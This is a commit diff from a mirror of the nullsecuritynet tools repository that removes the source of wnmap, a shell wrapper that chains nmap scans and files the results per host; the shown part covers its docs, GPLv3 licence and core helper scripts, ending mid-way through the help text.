admin/nullsecuritynet-tools
1
0
Fork 0
mirror of https://github.com/nullsecuritynet/tools synced 2026-06-08 16:27:39 +00:00
Code Issues Packages Projects Releases Wiki Activity

remove source files.

Browse Source
This commit is contained in:
Levon 'noptrix' Kayan
2026-04-21 14:56:23 +03:00
parent a3bd04ab19
commit 29aef236dd
394 changed files with 0 additions and 65054 deletions
Download Patch File Download Diff File Expand all files Collapse all files
automation/wnmap/source/docs/AUTHORS
-1
View File
@@ -1 +0,0 @@
nrz[at]nullsecurity.net - http://www.nullsecurity.net/
automation/wnmap/source/docs/CHANGELOG
-1
View File
@@ -1 +0,0 @@
Read docs/TODO to see changes and todo list.
automation/wnmap/source/docs/DESCR
-3
View File
@@ -1,3 +0,0 @@
A shell script written with the purpose to automate and chain scans via nmap.
You can run nmap with a custom mode written by user and create directories for
every mode with the xml/nmap files inside.
automation/wnmap/source/docs/LICENSE
-673
View File
@@ -1,673 +0,0 @@
GNU GENERAL PUBLIC LICENSE
Version 3, 29 June 2007
Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The GNU General Public License is a free, copyleft license for
software and other kinds of works.
The licenses for most software and other practical works are designed
to take away your freedom to share and change the works. By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users. We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors. You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.
To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights. Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received. You must make sure that they, too, receive
or can get the source code. And you must show them these terms so they
know their rights.
Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.
For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software. For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.
Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so. This is fundamentally incompatible with the aim of
protecting users' freedom to change the software. The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable. Therefore, we
have designed this version of the GPL to prohibit the practice for those
products. If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.
Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary. To prevent this, the GPL assures that
patents cannot be used to render the program non-free.
The precise terms and conditions for copying, distribution and
modification follow.
TERMS AND CONDITIONS
0. Definitions.
"This License" refers to version 3 of the GNU General Public License.
"Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.
"The Program" refers to any copyrightable work licensed under this
License. Each licensee is addressed as "you". "Licensees" and
"recipients" may be individuals or organizations.
To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy. The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.
A "covered work" means either the unmodified Program or a work based
on the Program.
To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy. Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.
To "convey" a work means any kind of propagation that enables other
parties to make or receive copies. Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.
An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License. If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.
1. Source Code.
The "source code" for a work means the preferred form of the work
for making modifications to it. "Object code" means any non-source
form of a work.
A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.
The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form. A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.
The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities. However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work. For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.
The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.
The Corresponding Source for a work in source code form is that
same work.
2. Basic Permissions.
All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met. This License explicitly affirms your unlimited
permission to run the unmodified Program. The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work. This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.
You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force. You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright. Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.
Conveying under any other circumstances is permitted solely under
the conditions stated below. Sublicensing is not allowed; section 10
makes it unnecessary.
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.
When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.
4. Conveying Verbatim Copies.
You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.
You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.
5. Conveying Modified Source Versions.
You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:
a) The work must carry prominent notices stating that you modified
it, and giving a relevant date.
b) The work must carry prominent notices stating that it is
released under this License and any conditions added under section
7. This requirement modifies the requirement in section 4 to
"keep intact all notices".
c) You must license the entire work, as a whole, under this
License to anyone who comes into possession of a copy. This
License will therefore apply, along with any applicable section 7
additional terms, to the whole of the work, and all its parts,
regardless of how they are packaged. This License gives no
permission to license the work in any other way, but it does not
invalidate such permission if you have separately received it.
d) If the work has interactive user interfaces, each must display
Appropriate Legal Notices; however, if the Program has interactive
interfaces that do not display Appropriate Legal Notices, your
work need not make them do so.
A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit. Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.
6. Conveying Non-Source Forms.
You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:
a) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by the
Corresponding Source fixed on a durable physical medium
customarily used for software interchange.
b) Convey the object code in, or embodied in, a physical product
(including a physical distribution medium), accompanied by a
written offer, valid for at least three years and valid for as
long as you offer spare parts or customer support for that product
model, to give anyone who possesses the object code either (1) a
copy of the Corresponding Source for all the software in the
product that is covered by this License, on a durable physical
medium customarily used for software interchange, for a price no
more than your reasonable cost of physically performing this
conveying of source, or (2) access to copy the
Corresponding Source from a network server at no charge.
c) Convey individual copies of the object code with a copy of the
written offer to provide the Corresponding Source. This
alternative is allowed only occasionally and noncommercially, and
only if you received the object code with such an offer, in accord
with subsection 6b.
d) Convey the object code by offering access from a designated
place (gratis or for a charge), and offer equivalent access to the
Corresponding Source in the same way through the same place at no
further charge. You need not require recipients to copy the
Corresponding Source along with the object code. If the place to
copy the object code is a network server, the Corresponding Source
may be on a different server (operated by you or a third party)
that supports equivalent copying facilities, provided you maintain
clear directions next to the object code saying where to find the
Corresponding Source. Regardless of what server hosts the
Corresponding Source, you remain obligated to ensure that it is
available for as long as needed to satisfy these requirements.
e) Convey the object code using peer-to-peer transmission, provided
you inform other peers where the object code and Corresponding
Source of the work are being offered to the general public at no
charge under subsection 6d.
A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.
A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling. In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage. For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product. A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.
"Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source. The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.
If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
part of a transaction in which the right of possession and use of the
User Product is transferred to the recipient in perpetuity or for a
fixed term (regardless of how the transaction is characterized), the
Corresponding Source conveyed under this section must be accompanied
by the Installation Information. But this requirement does not apply
if neither you nor any third party retains the ability to install
modified object code on the User Product (for example, the work has
been installed in ROM).
The requirement to provide Installation Information does not include a
requirement to continue to provide support service, warranty, or updates
for a work that has been modified or installed by the recipient, or for
the User Product in which it has been modified or installed. Access to a
network may be denied when the modification itself materially and
adversely affects the operation of the network or violates the rules and
protocols for communication across the network.
Corresponding Source conveyed, and Installation Information provided,
in accord with this section must be in a format that is publicly
documented (and with an implementation available to the public in
source code form), and must require no special password or key for
unpacking, reading or copying.
7. Additional Terms.
"Additional permissions" are terms that supplement the terms of this
License by making exceptions from one or more of its conditions.
Additional permissions that are applicable to the entire Program shall
be treated as though they were included in this License, to the extent
that they are valid under applicable law. If additional permissions
apply only to part of the Program, that part may be used separately
under those permissions, but the entire Program remains governed by
this License without regard to the additional permissions.
When you convey a copy of a covered work, you may at your option
remove any additional permissions from that copy, or from any part of
it. (Additional permissions may be written to require their own
removal in certain cases when you modify the work.) You may place
additional permissions on material, added by you to a covered work,
for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Use with the GNU Affero General Public License.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU Affero General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the special requirements of the GNU Affero General Public License,
section 13, concerning interaction through a network will apply to the
combination as such.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
Copyright (C) 2013 nrz@nullsecurity.net
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If the program does terminal interaction, make it output a short
notice like this when it starts in an interactive mode:
wnmap Copyright (C) 2013 nrz@nullsecurity.net
This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, your program's commands
might be different; for a GUI interface, you would use an "about box".
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU GPL, see
<http://www.gnu.org/licenses/>.
The GNU General Public License does not permit incorporating your program
into proprietary programs. If your program is a subroutine library, you
may consider it more useful to permit linking proprietary applications with
the library. If this is what you want to do, use the GNU Lesser General
Public License instead of this License. But first, please read
<http://www.gnu.org/philosophy/why-not-lgpl.html>.
automation/wnmap/source/docs/README
-57
View File
@@ -1,57 +0,0 @@
WNMAP v0.1
==========
WHAT YOU CAN DO WITH THIS
=========================
- Configure custom scan modes and store them for future audits.
- Run all scan modes in chain.
- Add Script Nmap NSE modes.
- Generate nice directory structure, i.e.:
192.168.1.1 $ tree
.
|-- all
| |-- 192.168.1.1.nmap
| `-- 192.168.1.1.xml
|-- fast
| |-- 192.168.1.1.nmap
| `-- 192.168.1.1.xml
|-- os
| |-- 192.168.1.1.nmap
| `-- 192.168.1.1.xml
`-- version
|-- 192.168.1.1.nmap
`-- 192.168.1.1.xml
WHAT YOU CAN NOT DO WITH THIS
=============================
- Scan network ranges (see wscan tool).
HOW THE wmodes.conf WORKS
=========================
- First, you can easily edit with 'wnmap -e' command.
- The file is organize into lines splitted by ';'
- First column: wnmap mode - this will set up the way it will be called from wnmap.
- i.e.: -F;fast;-F;false => $ wscan -F target.com
- NOTE: '-F' '-T' '-F' <= right ; '-scan' <= wrong
- Second column: wnmap name - this will fix the human radeable name - used for
create directories and so on.
- Third column: nmap mode - command for nmap to run out.
- Fourth column: boolean flag - will tell wnmap if sudo is required for nmap command.
TL;DR
=====
- Scan host with {1..N} custom modes.
- Create your own modes.
- Get all results in a nice way for latest report.
NOTE
====
- Check src/core/wnmap.conf out [!]
#EOF
automation/wnmap/source/docs/TESTED
-4
View File
@@ -1,4 +0,0 @@
===> 0.1
* gentoo
* debian
* Nmap version 6.25 ( http://nmap.org )
automation/wnmap/source/docs/THANKS
-2
View File
@@ -1,2 +0,0 @@
* nullsecurity
* to my friends and my family
automation/wnmap/source/docs/TODO
-18
View File
@@ -1,18 +0,0 @@
changelog and todo list for wnmap
==================================
===> 0.X
* -O: output mode - !( xml/nmap export || dir creation ) ......... []
* html/text report ............................................... []
===> 0.3
* -C [user mode args] - choose chain to run (chain script) ....... []
* Normal Nmap Behavior + xml/nmap export ........................, []
* dynamically wnmap_args taken (no :1:1) ......................... []
===> 0.2
* cp .conf files to personal dir ................................. []
* install.sh ..................................................... []
===> 0.1
* initial release ................................................ [DONE]
automation/wnmap/source/src/core/checks.sh
-50
View File
@@ -1,50 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# checks.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
# check software required
check_soft()
{
command -v nmap >/dev/null 2>&1 ||
critical "Nmap required. Install it!"
command -v "${EDITOR}" >/dev/null 2>&1 ||
critical "${EDITOR} required. Install it or change EDITOR variable in src/core/globals.sh!"
}
# check argument count
check_argc()
{
[ "${#}" -eq "0" ] && usage && exit "${SUCCESS}"
}
# check if required arguments were selected
check_args()
{
return "${SUCCESS}"
}
# EOF
automation/wnmap/source/src/core/error.sh
-49
View File
@@ -1,49 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# error.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
# print warning
warn()
{
printf "[!] WARNING: %s\n" "${*}"
return "${SUCCESS}"
}
# print error
err()
{
printf "\e[1;31m[-] ERROR: %s\e[m\n" "${*}"
return "${SUCCESS}"
}
# print critical and exit
critical()
{
banner
printf "\e[1;31m[-] %-6s\e[m\n" "${*}"
exit "${FAILURE}"
}
# EOF
automation/wnmap/source/src/core/getopt.sh
-77
View File
@@ -1,77 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# checks.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
# parse command line options
get_opts()
{
# check if we are calling mode from ${MODE_FILE}
local mode_line=$(awk -v J=1 -v R="${1}" '{if (match($J, R)) print $0;}' "${MODE_FILE}")
[ -n "${mode_line}" ] &&
IFS=';' read -r wnmap_args _mode_name nmap_args sudo <<< "${mode_line}"
while getopts ":${wnmap_args:1:1}:a:C:revh" flags
do
case "${flags}" in
${wnmap_args:1:1})
target=${OPTARG}
f_scan_xml="${target}.xml"
f_scan_nmap="${target}.nmap"
d_scan="${target}/${_mode_name}"
opt_mode="user_scan"
;;
a)
opt_mode="add_scan"
return "${SUCCESS}"
;;
C)
target=${OPTARG}
opt_mode="chain_scan"
;;
r)
REDO="true"
;;
e)
opt_mode="edit"
;;
v)
banner
printf "%s\n" "${VERSION}"
exit "${SUCCESS}"
;;
h)
usage
;;
*)
err "WTF?! mount /dev/brain"
;;
esac
done
return "${SUCCESS}"
}
# EOF
automation/wnmap/source/src/core/globals.sh
-47
View File
@@ -1,47 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# globals.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
# wnmap version
VERSION="wnmap v0.1"
# name
APP_NAME="wnmap"
# true / false
FALSE="0"
TRUE="1"
# return codes
SUCCESS="1337"
FAILURE="31337"
# verbose mode - default: quiet
#VERBOSE="/dev/null"
# mode config file
MODE_FILE="${WNMAP_PATH}/src/core/wmodes.conf"
# EOF
automation/wnmap/source/src/core/help.sh
-73
View File
@@ -1,73 +0,0 @@
################################################################################
# ____ _ __ #
# ___ __ __/ / /__ ___ ______ ______(_) /___ __ #
# / _ \/ // / / (_-</ -_) __/ // / __/ / __/ // / #
# /_//_/\_,_/_/_/___/\__/\__/\_,_/_/ /_/\__/\_, / #
# /___/ team #
# #
# wnmap - modular nmap wrapper and automation script #
# #
# FILE #
# help.sh #
# #
# DATE #
# 2013-06-19 #
# #
# DESCRIPTION #
# A shell script written with the purpose to automate and chain scans via nmap.#
# You can run nmap with a custom mode written by user and create directories #
# for every mode with the xml/nmap files inside. #
# #
# AUTHOR #
# nrz@nullsecurity.net #
# #
################################################################################
# leet banner, very important
banner()
{
printf "%s\n" "--==[ wnmap by nrz@nullsecurity.net ]==--"
return ${SUCCESS}
}
# usage and help
usage()
{
banner
cat <<EOF
Usage: ${APP_NAME} [options] <target specification> | <misc>
TARGET SPECIFICATION:
Can pass hostname or IP address.
